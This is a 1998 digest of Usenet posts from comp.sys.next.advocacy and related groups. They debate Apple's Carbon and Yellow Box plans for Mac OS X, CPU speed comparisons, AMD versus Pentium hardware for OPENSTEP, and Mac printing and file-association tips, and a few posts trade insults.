Date: Wed, 7 Oct 1998 20:10:11 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1dgit1p.fdzazl15xkmayN@h209-21-28-220.ncal.verio.net>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vet93$k3v$1@supernews.com>
Donald R. McGregor <mcgredo@otter.mbay.net> wrote:
> Apple is (apparently) trying to cross the chasm by taking
> two steps: first, establish a capable OS substrate in the market
> via carbonated applications running on top of some sort of Unix-y
> kernel. Once that's established and has a non-trivial installed
> base, you can start selling YB into that market. Carbonated
> apps sell the OS substrate; the existence of the OS substrate
> enables YB markets.
Thank goodness somebody gets it.
I doubt very much that anyone involved with Rhapsody and MacOS X inside
Apple believed that major developers would just pitch thier existing
code base out and write fresh Yellow Box apps. Mac developers tend to
be extremely conservative with respect to their favorite APIs.
The problem with the original Blue Box/Yellow Box thing was that
programs written to existing MacOS APIs would be condemned to live
forever in the Blue Box, and only total rewrites to Yellow APIs would
gain any advantage from the new operating system. This minimized any
incentive for developers or users to adopt the new OS.
The Carbon approach makes it possible for existing apps written to MacOS
APIs to move to the new OS and gain some advantages with only a small
effort, estimated at 2 man-weeks or less of engineering time plus QA
time for large programs. This is comparable to a minor bug-fix release
cycle for most of the active Macintosh developers out there.
Carbon makes it possible for existing programs familiar to the Macintosh
community to be available when Mac OS X ships, which take advantage of
some of the capabilities of the new operating system.
Yellow, on the other hand, makes it possible for small development teams
to quickly put together new, sophisticated, fully functional
applications.
Once Mac OS X is in wide use, Yellow Box may very well make it possible
for small aggressive developers to produce entirely new classes of
applications, incidentally eating large slow moving developer's lunches.
Just a thought...
--
Mike Paquette mpaque@wco.com
Business owners beware: Sprint will slam your dedicated
data lines and charge you $6.00 a month for not using them!
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: Monopolies
Message-ID: <1998Oct7.165855.9357@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <6v3gkl$fjm$1@nnrp1.dejanews.com>
Date: Wed, 7 Oct 1998 16:58:55 GMT
In article <6v3gkl$fjm$1@nnrp1.dejanews.com> spagiola@my-dejanews.com
writes:
> So I would still humbly submit that if someone is still using a
> 286, it is not unreasonable to ask "why"? Though we certainly shouldn't
> do
> this is in condescending tone.
Good, so we have a decision: OK to ask "why?", not OK to condescend.
Thank god we have Usenet to help us decide these fire-hot issues!
;-)
(ATTN: FLAMERS: I was just kidding!)
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Wed, 07 Oct 1998 14:01:45 -0500
Organization: Ericsson North America Inc.
Message-ID: <361BBA99.D34D864D@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vg59f$n46$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Charles Swiger wrote:
[cut - the Carbon plan]
> It's a waste of time refuting this. If you actually quoted or paraphrased
> Jobs, that'd be one thing...but you aren't. You're simply making these
> remarks up out of thin air and your misinterpretation of what Apple is
> doing...another strawman special.
Right, Chuck, if I'm misunderstanding Apple, I'm the only one, of
course. Apple's lack of direction is, of course, my fault; just as
NeXTstep's failures on my machine were the result of my..."incompetence"
was the word you used, right?
Your posts have a unique way of displaying just what kind of person you
are. It didn't take long to figure you out, Chuck.
MJP
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Wed, 07 Oct 1998 22:34:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vgq9o$2jb$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vg59f$n46$1@nnrp1.dejanews.com> <361BBA99.D34D864D@ericsson.com>
In article <361BBA99.D34D864D@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Charles Swiger wrote:
> [cut - the Carbon plan]
>
>> It's a waste of time refuting this. If you actually quoted or paraphrased
>> Jobs, that'd be one thing...but you aren't. You're simply making these
>> remarks up out of thin air and your misinterpretation of what Apple is
>> doing...another strawman special.
>
> Right, Chuck, if I'm misunderstanding Apple, I'm the only one, of
> course.
This has nothing to do with whether you understand Apple's goals and
intentions or not. It has to do with you supposedly quoting Steve Jobs when
he didn't say what you claimed he said.
> Apple's lack of direction is, of course, my fault; just as
> NeXTstep's failures on my machine were the result of my..."incompetence"
> was the word you used, right?
That's right. The problems you were having were understandable from someone
who did not understand Unix (specificly BSD 4.x) system administration. Of
course, you never bothered to ask for help or even RTFM-- you just blamed the
system.
> Your posts have a unique way of displaying just what kind of person you
> are.
Certainly. I normally have someone (or several people) thank me on a daily
basis for my contributions to the NeXT newsgroups.
Or were you trying to insinuate something else?
> It didn't take long to figure you out, Chuck.
Good for you.
Try a little introspection next-- do you admire the way you appear around this
neck of Usenet? Do you make contributions that people thank you for? Do you
accomplish anything of value at all?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Wed, 07 Oct 1998 16:46:04 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vg5sc$p42$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <3619B2E5.19831926@nstar.net> <slrn71l49m <361A9F92.1D9F3A3@ericsson.com> <rbarrisF0FK54.KuB@netcom.com> <361ABD55.870F151B@nstar.net> <01bdf1a2$87336410$06387880@chewy> <361AF117.5B4413A9@nstar.net>
In article <361AF117.5B4413A9@nstar.net>,
Michael Peck <mjpeck@nstar.net> wrote:
> Todd Heberlein (todd at NetSQ dot com) wrote:
>>> They are "rewritten", no matter how much effort that entails.
>>
>> If you think the amount of work required by developers to support
>> Rhapsody doesn't matter, then I don't think there is any argument I can
>> probably make which will change your mind.
>
> That is *NOT* what I said! Do *not* mischaracterize my remarks.
And yet you feel free to mischaracterize and falsely attribute remarks you
made up as if they were made by Steve Jobs?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.hardware
Subject: AMD K6-2 3DNow vs. Pentium2 for OPENSTEP/OSX?
Date: 8 Oct 1998 06:27:11 GMT
Organization: UCO & Associates, LLP
Message-ID: <6vhlvv$q8f$1@wbnws01.ne.highway1.com>
Sorry for the cross post, but I've been trying to get this up onto hardware,
and it doesn't want to cooperate, and I'm hoping to have an answer on this by
tomorrow evening. I'm in the market for several machines and I'd like some
feed back, info, and opinions on AMD's new processor.
From what I've read it seems that generally speaking, the AMD K6-2 is roughly
the same speed as a Pentium2 at a slightly lower clock rate; i.e. an AMD
Kh6-2 3Dnow at 333mhz is roughly equal to a Pentium2 at 300mhz. I have a few
questions that I'm hoping someone can help me with:
1-How is the AMD's floating point (not inlcuding the 3Dnow which few apps are
recompiled for) compared to the Pentium2's?
2-Does OPENSTEP/OSX run ok on the AMD?
3-How does the AMD compare power consumption wise on a laptop?
4-I believe the AMDs at 300&333mhz do not have L2 cache running at 1:2 like
the pentium, does the K6-2@350mhz have such cache?
5-It seems that there is a rough trade off that the AMD wins by having a
100mhz bus at 300&333 when the P2 has only a 66mhz, yet looses on the cache,
so performance seems a wash.
6-Is the price premium Intel charges for it's processors at all worth it? It
seems that one can get a laptop with an AMD K6-2 at 333mhz for about $600
cheaper than a Pentium2@300mhz; a speed wash, the AMD I believe is lower
power hungry, and cheaper.
I think if this chip runs OPENSTEP/OSX ok, I see no reason at all to go with
Intel's chips at these speeds; their trademark isn't worth that much to me
personally.
Opinions on this will be most welcome and appreciated.
--
Thanks, be well, take care, later, John Kheit; self expressed...
___________________________________________________________________
UCO & A s s o c i a t e s , L L P http://www.uco-iplaw.com
ASCII, MIME, PGP, SUN, & NeXTmail OK mailto:jkheit@uco-iplaw.com
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 7 Oct 1998 23:07:38 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdf245$b3c99640$06387880@chewy>
References: <6vbi7r$12su2@odie.mcleod.net> <B23FA979-3CAC6@206.165.43.169> <slrn71l5d1.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ve82u$2iq$1@msunews.cl.msu.edu> <361ab93b.0@news.depaul.edu> <6vehc6$lqq$1@nnrp03.primenet.com><361ad8a0.0@news.depaul.edu> <6vfskd$4dv$1@nnrp02.primenet.com> <361B827D.94E253C6@tisny.com> <361BE837.F4EADDB7@egg.chips.and.spam.com>
> You only have to look at IBM's Java commitment to see this. IBM
> is investing in Java on a massive scale.
I have been *amazed* by IBM's commitment to Java. I don't think they
ever put this much energy into either Taligent or OS/2 for PowerPC.
It is perhaps IBM's commitment which have me taking a second look at
Java. I still prefer Apple's OpenStep with Objective C, but I think
Java has made massive improvements over the last two years. I also
look forward to Swing being everywhere (it seemed to take a long time
for 1.1 to take root).
Cheers,
Todd
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 7 Oct 1998 14:08:13 GMT
Organization: Primenet (602)416-7000
Message-ID: <6vfskd$4dv$1@nnrp02.primenet.com>
References: <6vbi7r$12su2@odie.mcleod.net> <B23FA979-3CAC6@206.165.43.169> <slrn71l5d1.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ve82u$2iq$1@msunews.cl.msu.edu> <361ab93b.0@news.depaul.edu> <6vehc6$lqq$1@nnrp03.primenet.com>
<361ad8a0.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
: [..] look up the definition of 'most'. You'll find that it's not
: a synonym for 'all'.
Face it, you made the classic "most people choose X, so X is best"
argument".
: Would you like to demonstrate how I'm incorrect? Especially since
: *most* software written is written for internal use by companies,
: who aren't concerned with supporting a wide variety of platforms,
: since the software is going to run on a single platform.
: I'd wager that the amount of software being written in VB, Visual C++,
: Delphi, and Access dwarfs the amount of software being written
: in Java. Exceedingly few of those developers care about multi-
: platform support.
Oops, isn't this the "most people" argument again?
: The multiplatform capabilities of Java are of interest to people
: writing software for multiple platforms, like you. Most people don't
: do this, because they have a single platform in mind for deployment.
: For them, Java's other capabilities are more important, and the
: multiplatform support is a nice thing to have in case they ever
: need it (but probably won't).
I think you are getting on the right track when you say "multiplatform
support is a nice thing to have". Seriously, that is the key question to
ask any consumer at the corporate or home level:
_If_ you could buy software without worrying about what
brand of computer it runs on, and _if_ you could switch
OSes and preserve your software and data investment,
would that be a benefit to you?
I think "most people" would answer "yes". The only real questions are:
Is it possible today?
Do you loose any benefits of the native platform?
Those two questions have not been answered to my full satisfaction by any
current technology. Java is the best cross-platform technology I've seen,
but if it doesn't pan out, I'll try the next in line. And there will be a
next in line, the benefits of independence are too rich to ignore. When
we are tied to a single OSes we suffer the same "folly of Princes" that
Adam Smith warned us of 200 years ago. It doesn't matter if the prince is
named Bill, or Steve, or even Scott ... as long as we are tied to a
proprietary API we dance to their tune.
John
From: "John Opitz" <flynnx@hotmail.com>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Thu, 8 Oct 1998 00:11:31 +1000
Organization: University of Queensland
Message-ID: <6vfsv9$3op$1@bunyip.cc.uq.edu.au>
References: <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <362e5ed6.317592691@news3.newscene.com> <6v8mui$80r$1@nnrp1.dejanews.com> <364204ff.425648756@news2.newscene.com> <361B4852.C2F4B404@egg.chips.and.spam.com> <slrn71moqk.420.drsmithy@area51.emmanuel.uq.edu.au>
Christopher Smith wrote in message ...
>On Wed, 07 Oct 1998 10:54:10 -0100, fungus <spam@egg.chips.and.spam.com>
wrote:
>>Just Me wrote:
>>>
>>> Is a 233MHZ Apple going to run faster than a 450MHz Pentium II?
>>
>>Since when did clock speed show how fast a CPU is?
>
>I can't think of many other ways to indicate how fast *a CPU* is :).
>
MIPS perhaps?
The fact that the number of cycles needed per instruction varies between CPU
architectures basically renders any comparison between CPU based on clock
speed meaningless.
Message-ID: <361C6317.2BDD579B@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.next.hardware
Subject: Re: AMD K6-2 3DNow vs. Pentium2 for OPENSTEP/OSX?
References: <6vhlvv$q8f$1@wbnws01.ne.highway1.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Thu, 08 Oct 1998 02:57:18 EDT
Date: Thu, 08 Oct 1998 00:00:39 -0700
John Kheit wrote:
<<<< Munch >>>>
long questionnaire about Pentium versus AMD K* munched away.
<<<< Munch >>>>
Well, gosh, John, with all due respect, by now, at lawyer's
hourly rates, in the time spent on this detailed analysis
you could have just bopped out and bought the Pentium-based
box, premium or otherwise.
Alternatively, you could have skipped all the analyses,
bought the AMD box, decided it was useless, and then bopped
out and go the Pentium-based box anyway.
Just another weird view on the world, and hope you're
keeping well . . .
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: "Stuart F. Armitage" <stu.no@earthling.net>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Wed, 7 Oct 1998 13:56:39 +0100
Organization: None
Message-ID: <907833861.8683.0.nnrp-06.d4f06d88@news.demon.co.uk>
References: <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <362e5ed6.317592691@news3.newscene.com> <6v8mui$80r$1@nnrp1.dejanews.com> <364204ff.425648756@news2.newscene.com> <361B4852.C2F4B404@egg.chips.and.spam.com> <slrn71moqk.420.drsmithy@area51.emmanuel.uq.edu.au>
Christopher Smith wrote in message ...
:On Wed, 07 Oct 1998 10:54:10 -0100, fungus <spam@egg.chips.and.spam.com>
wrote:
:>Just Me wrote:
:>>
:>> Is a 233MHZ Apple going to run faster than a 450MHz Pentium II?
:>
:>Since when did clock speed show how fast a CPU is?
:
:I can't think of many other ways to indicate how fast *a CPU* is :).
You're not thinking hard enough.
#stU
From: "Pascal Haakmat" <ahaakmat@MAPSON.cable.a2000.nl>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: Wed, 07 Oct 1998 17:04:39 +0200
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <6vfvu3$rak$1@pascal.a2000.nl>
References: <36099217.345010578@news.newsguy.com>
<361A9F92.1D9F3A3@ericsson.com> <rbarrisF0FK54.KuB@netcom.com>
<6vedtf$6o1$1@pascal.a2000.nl> <rbarrisF0G0sA.Ity@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
In article <rbarrisF0G0sA.Ity@netcom.com> , rbarris@netcom.com (Robert
Barris) wrote:
>>However, there is no implementation of Carbon yet. This means that we do not
>>yet know how well it will perform.
>
>There was enough of one for Adobe to demonstrate a
> * running version of Photoshop *
>about six months ago.
The Carbon runtime is not available. This means we do not know how well it
will perform. Technology demonstrations are irrelevant. There is an NT 5.0
beta available right now. What does that say about it's delivery date or the
quality of the release version? Nothing at all. So even a technology
demonstration that is actually released leaves many questions to be
answered.
And the Carbon runtime environment has not even been _released_ yet.
>Again this "rewriting", sigh.
>
>You run the carbon dater on your old app.
I can run any kind of validation app on any of my apps. What does this have
to do with the implementation of what is being validated?
>>This brings up the factor of time. If it takes a year from now to perfect
>>Carbon, and another year for applications to be made _really_ Carbonized,
>>then Carbon will be around for a pretty long time. Hardly a transitory solution
>>anymore, and possibly a threat to Apple's YB efforts, which I believe to
>> ultimately be much more important.
>
>Any hypothesis is worth stating, but I don't agree with the timeframes
>involved.
It is a pessimistic timeframe.
>See "running version of Photoshop, six months ago."
See NT 5.0 beta, released.
>Photoshop
>is not exactly "Hello World", and the engineer involved got it running
>over the course of a couple weekends!
However, still there is no release version of either the Carbonized
Photoshop or the Carbon runtime environment, six months after the apparently
easy work. So why isn't there? Matt Wilson also 'ported' Netscape to
Rhapsody 'in days'. They are still working on making his hacks into quality
code however.
The fact that Photoshop was supposedly ported more than six months ago, and
that we still have nothing now, actually supports my argument.
>Rather than make predictions that far into the future, I'll just leave it
>at "wait and see".
Whahahahahaha!
Yeah, I am still waiting for Copland.
Pascal.
From: drsmithy@area51.emmanuel.uq.edu.au (Christopher Smith)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: 7 Oct 1998 15:18:58 GMT
Organization: University of Queensland
Message-ID: <slrn71n1rp.5ll.drsmithy@area51.emmanuel.uq.edu.au>
References: <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <362e5ed6.317592691@news3.newscene.com> <6v8mui$80r$1@nnrp1.dejanews.com> <364204ff.425648756@news2.newscene.com> <361B4852.C2F4B404@egg.chips.and.spam.com> <slrn71moqk.420.drsmithy@area51.emmanuel.uq.edu.au> <6vfsv9$3op$1@bunyip.cc.uq.edu.au>
On Thu, 8 Oct 1998 00:11:31 +1000, John Opitz <flynnx@hotmail.com> wrote:
>
>Christopher Smith wrote in message ...
>>On Wed, 07 Oct 1998 10:54:10 -0100, fungus <spam@egg.chips.and.spam.com>
>wrote:
>>>Just Me wrote:
>>>>
>>>> Is a 233MHZ Apple going to run faster than a 450MHz Pentium II?
>>>
>>>Since when did clock speed show how fast a CPU is?
>>
>>I can't think of many other ways to indicate how fast *a CPU* is :).
>>
>
>
>MIPS perhaps?
>The fact that the number of cycles needed per instruction varies between CPU
>architectures basically renders any comparison between CPU based on clock
>speed meaningless.
Meaningless Indication of Processor Speed ?
The fact that each processor architecture has a differing amount of "work" that
can be completed in any given instruction basically renders any comparison
between CPUs based on how many instructions they can execute in a given time
meaningless.
>
>
>
>
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.hardware
Subject: Re: AMD K6-2 3DNow vs. Pentium2 for OPENSTEP/OSX?
Date: 8 Oct 1998 12:22:32 GMT
Organization: UCO & Associates, LLP
Message-ID: <6viaq8$k0p$1@wbnws01.ne.highway1.com>
References: <6vhlvv$q8f$1@wbnws01.ne.highway1.com> <361C6317.2BDD579B@trilithon.com>
Henry McGilton <henry@trilithon.com> wrote:
> Well, gosh, John, with all due respect, by now, at lawyer's
Anytime I hear this, I ususally expect trouble. ;)
> hourly rates, in the time spent on this detailed analysis
> you could have just bopped out and bought the Pentium-based
> box, premium or otherwise.
>
> Alternatively, you could have skipped all the analyses,
> bought the AMD box, decided it was useless, and then bopped
> out and go the Pentium-based box anyway.
>
> Just another weird view on the world, and hope you're
> keeping well . . .
Your analysis is pretty spot on. Five things: (1) I plan on extrapolating my
personal purchase to the office on more machines; (2) if my analysis is
right, then the current fastest intel based laptop is a 350mhz K2, not the
300mhz P2; (3) diddling with computer stuff is my way "relaxing," unwinding,
and getting off the law gig, which can wind me pretty tightly; (4) I like to
stay up to date on ongoings in the tech sector and understand things as well
as my feeble mind will allow, and (5) I'm still not in the habit of wasting
money when I don't need to. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
___________________________________________________________________
UCO & A s s o c i a t e s , L L P http://www.uco-iplaw.com
ASCII, MIME, PGP, SUN, & NeXTmail OK mailto:jkheit@uco-iplaw.com
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The future's so bright I (hope) we have to wear shades
Date: Thu, 08 Oct 1998 00:51:35 -0500
Organization: Physics Department, University of Texas at Austin
Message-ID: <distler-0810980051360001@192.168.0.1>
References: <6vg10f$t3g$1@pascal.a2000.nl> <B241542D-BDD08@206.165.43.27> <6vha8l$71k@gazette.bcm.tmc.edu>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
In article <6vha8l$71k@gazette.bcm.tmc.edu>, rick@mft.neusc.bcm.tmc.edu
(Rick Gray) wrote:
> 1) Printers: we have a Next printer on our network of a dozen black
> and white Nextstep-running machines that I made into an lpr desktop
> printer. Works great. Yesterday we got an Epson Photo EX and I
> installed the software driver for it. It's a beautiful printer. But
> why is it such a pain to switch between the two printers? The Epson
> is selectable in Chooser, and the Next laser through a desktop printer
> program.
Complain to Epson!
Vendors SHOULD be making their print drivers compatible with desktop printing.
The Chooser is a crufty old interface which should have been taken out and shot
a long time ago.
I have a similar beef with them. We bought an Epson 850N which is a
networkable multi-protocol printer. I wanted to be able to print to it
from a Mac using the LPR protocol (instead of AppleTalk). No can do! The
Epson Drivers don't work with Desktop Printing. I ended up using the Apple
Laserwriter drivers to send the print job to an LPR print queue on a Linux
box, which uses Ghostscript RIP, to send the job to the printer.
> I guess I could use CAP (it's running on a black Next slab)
> and have the Next printer in Chooser also, but why should I when
> there's lpr? The Nextstep printer panel is so nice and easy in
> comparison. I'd really like to be able to lpr a color PostScript
> file from a NeXT to the iMac and have it come out on the Epson, but as
> near as I can tell, that's not possible.
There are a couple of shareware and a few commercial LPD implementations
for the Mac. I haven't used 'em, so I can't comment on their merits.
>
> 2) The whole GUI. No matter what I do, after 15 minutes I have 20
> windows open and I can never tell which program is running.
Huh? Look at the right-hand corner of the menu bar. The icon there is the
icon for the current foreground app. Hold the mouse down on it, and you
get a menu of all the running apps, allowing you to switch between them,
hide 'em, etc.
I find managing 20 running Apps to be actually much easier under MacOS than NS.
> Programs
> are scattered all over the disk. The Nextstep browser and the
> strategy of keeping all the applications in /LocalApps (or for us
> /NetApps, which resides on a server machine and is NSF mounted by all
> the lab machines) is so much nicer.
I'm sorry.
Under NextStep, nobody FORCES you to install apps under /LocalApps.
That is CONVENTION (and a good one, IMHO). If you want to do the same on
the mac, create a folder called "Applications". Put all the applications
in that folder. Then you won't have to hunt over the disk to find
aplications.
> 3) Association of files with applications. When the iMac was new I
> FTPed a bunch of *.mov files of the commercials from the Apple
> site. I used to be able to click on one of them and have QuickTime
> open and play it. Now SimpleText opens. I don't know what changed,
> and I don't know how to change it back.
This is a slightly funky one. The Mac associates an application with a
given document through a 4-character "Creator Code". The creator code for
SimpleText is "ttxt". The creator code of Movie Player is "TVOD".
To examine/change the creator code for a document, the best thing is a
little shareware utility called "Snitch", which extends the "Get Info"
dialog box in a host of useful ways (think of it as similar to the
Inspector under NS).
When you FTP's the .mov files, evidently, they were assigned some other
creator code. You need to change the creator code back to TVOD.
After installing Snitch, select 'em all, choose "Get Info", change one to
TVOD, choose "change all", choose "close all", and you're done.
> 4) Mail programs. We've played with a bunch; none are nearly as nice
> as NextMail.
I use both NeXTMail and Eudora. In many ways, I like NeXTMail better, but
I miss Eudora's filtering. (Don't tell me about Procmail; I know about
it.)
JD
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Wed, 07 Oct 1998 22:19:59 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <363bd443.79179339@news.supernews.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net>
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Michael Peck <mjpeck@nstar.net>, on Sun, 04 Oct 1998 23:18:12 -0500,
>jmz@southwind.net wrote:
[...]
>I think Windows is "mostly right". The modern GUI is a product of
>Apple's original research, to be sure, but nowadays it's difficult to
>find a GUI that deviates from the norm in any significant ways. Windows
>has all the basic GUI elements and many more, besides; Windows 98
>features a great many things which my last experience with MacOS lacked.
>All in all, Windows 98 is a robust GUI that does everything one expects
>it to do.
As a GUI, I agree with you, Windows is very good. As an OS, it's
camel dung.
[...]
>I like to whine to friends that no new things have been done with the
>GUI in the past decade. I really think that the concept has plateaued
>(which is unnecessary and unacceptable), and that preferential treatment
>is just playing favorites.
I believe that over the next ten or fifteen years of your life, you
will turn completely around on whether you think having development
of something plateau is necessary and acceptable. :-)
But I don't agree with your statement that there are no new things
done with the GUI in the past decade. I truly think Microsoft has
done almost as well with GUI development as would have been the case
if there had been half the market for half the time but with a
competitive/compatible development model. Which is saying a lot for
Microsoft, to be honest. But then, they're the ones with all the
capital.
From: daven@ldr.com (Dave Neuer)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Message-ID: <daven-0710981647330001@208.8.190.31>
